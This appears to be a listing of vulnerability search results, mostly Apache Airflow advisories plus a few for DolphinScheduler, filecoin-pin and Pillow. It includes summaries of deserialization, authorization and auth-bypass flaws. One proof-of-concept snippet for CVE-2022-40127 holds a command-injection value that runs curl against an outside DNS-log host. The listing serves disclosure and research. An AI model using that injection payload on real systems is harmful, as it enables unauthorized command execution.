gha-lab-f894926966

Automated research artifact — not the upstream project. This repository is a disposable lab built by an automated harness for a master's thesis at Université Laval on reproducing published GitHub Actions workflow vulnerabilities. It is a verbatim snapshot of astronomer/dag-factory at commit...

apache__dolphinscheduler_CVE-2023-51770_3-2-00

Apache Dolphinscheduler About Apache DolphinScheduler is a modern data orchestration platform that empowers agile, low-code development of high-performance workflows. It is dedicated to handling complex task dependencies in data pipelines, and provides a wide range of built-in job types out of th...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog via POC 2 curl -X 'POST' ...

CVE-2026-59243_exploit

CVE-2026-59243 — Apache Airflow FAB Provider OAuth Auth Bypass → DAG RCE Authentication bypass in Apache Airflow's FAB auth-manager provider apache-airflow-providers-fab, leading to remote code execution via a triggered DAG. The provider decodes the Azure OAuthidtoken with signature verification...

apache__dolphinscheduler_CVE-2023-49109_3-2-0

Apache Dolphinscheduler About Apache DolphinScheduler is a modern data orchestration platform that empowers agile, low-code development of high-performance workflows. It is dedicated to handling complex task dependencies in data pipelines, and provides a wide range of built-in job types out of th...

Deserialization of Untrusted Data

Overview Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the DAG run conf field, which did not reject reserved serialization keys such as classname or type. A user permitted to trigger a DAG that uses a deadline alert with an asynchronous callback can pas...

Missing Authorization

Overview Affected versions of this package are vulnerable to Missing Authorization in the fromassetrow method of AssetResponse in airflow-core/src/airflow/apifastapi/coreapi/datamodels/assets.py, used by the /api/v2/assets, /api/v2/assets/assetid, and /ui/assets endpoints. An authenticated user...

CVE-2026-111395

Apache Airflow did not reject reserved serialization keys inside a Dag run's conf. A user allowed to trigger a Dag that uses a deadline alert with an asynchronous callback could pass a conf that, once the deadline was missed, either crashed the scheduler repeatedly or was rebuilt into objects...

CVE-2026-111395 Apache Airflow: Reserved serialization keys in Dag run conf crash the scheduler or are rebuilt as objects in the Triggerer via deadline callbacks

Apache Airflow did not reject reserved serialization keys inside a Dag run's conf. A user allowed to trigger a Dag that uses a deadline alert with an asynchronous callback could pass a conf that, once the deadline was missed, either crashed the scheduler repeatedly or was rebuilt into objects...

CVE-2026-111395 Apache Airflow: Reserved serialization keys in Dag run conf crash the scheduler or are rebuilt as objects in the Triggerer via deadline callbacks

Apache Airflow did not reject reserved serialization keys inside a Dag run's conf. A user allowed to trigger a Dag that uses a deadline alert with an asynchronous callback could pass a conf that, once the deadline was missed, either crashed the scheduler repeatedly or was rebuilt into objects...

EUVD-2026-119892

Apache Airflow did not reject reserved serialization keys inside a Dag run's conf. A user allowed to trigger a Dag that uses a deadline alert with an asynchronous callback could pass a conf that, once the deadline was missed, either crashed the scheduler repeatedly or was rebuilt into objects...

CVE-2026-111395

In Apache Airflow , a vulnerability exists where the system fails to reject reserved serialization keys within a Dag run's conf. An attacker with permission to trigger a Dag using a deadline alert and an asynchronous callback can provide a malicious conf. If the deadline is missed, this payload c...

CVE-2026-111454 Apache Airflow: API: asset endpoints return scheduled/producing/consuming Dag IDs the caller cannot read

Apache Airflow's asset API endpoints returned the IDs of Dags that are scheduled on, produce, or consume an asset without checking whether the caller may read those Dags. An authenticated user with asset read access could learn the IDs of Dags they are not authorized to see. Users are advised to...

CVE-2026-111454 Apache Airflow: API: asset endpoints return scheduled/producing/consuming Dag IDs the caller cannot read

Apache Airflow's asset API endpoints returned the IDs of Dags that are scheduled on, produce, or consume an asset without checking whether the caller may read those Dags. An authenticated user with asset read access could learn the IDs of Dags they are not authorized to see. Users are advised to...

PT-2026-140312

Name of the Vulnerable Software and Affected Versions Apache Airflow versions prior to 3.4.0 Description The example dag decorator example Dag validates an IP address retrieved via HTTP using the ipaddress module before inserting it into a shell command. Because the ipaddress module allows IPv6...

PT-2026-140275

Apache Airflow did not reject reserved serialization keys inside a Dag run's conf. A user allowed to trigger a Dag that uses a deadline alert with an asynchronous callback could pass a conf that, once the deadline was missed, either crashed the scheduler repeatedly or was rebuilt into objects...

CVE-2026-111395: Apache Software Foundation Apache Airflow: Apache Airflow did not reject reserved serialization keys inside a Dag run's `conf`

Apache Airflow did not reject reserved serialization keys inside a Dag run's conf. A user allowed to trigger a Dag that uses a deadline alert with an asynchronous callback could pass a conf that, once the deadline was missed, either crashed the scheduler repeatedly or was rebuilt into objects...

npm: filecoin-pin: Unbounded DAG pinning can exhaust server resources

npm: filecoin-pin: Unbounded DAG pinning can exhaust server resources vulnerability discovered by ? in WordPress npm filecoin-pin versions = 1.1.0...

BIT-PILLOW-2026-96640 Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearizepagetree in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save..., format="PDF", append=True processes an attacker-controlled existing PDF whose...

GHSA-MRFP-P49P-3HF2 Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with Image.save..., format="PDF", append=True can provide a malformed /Pages tree where each lev...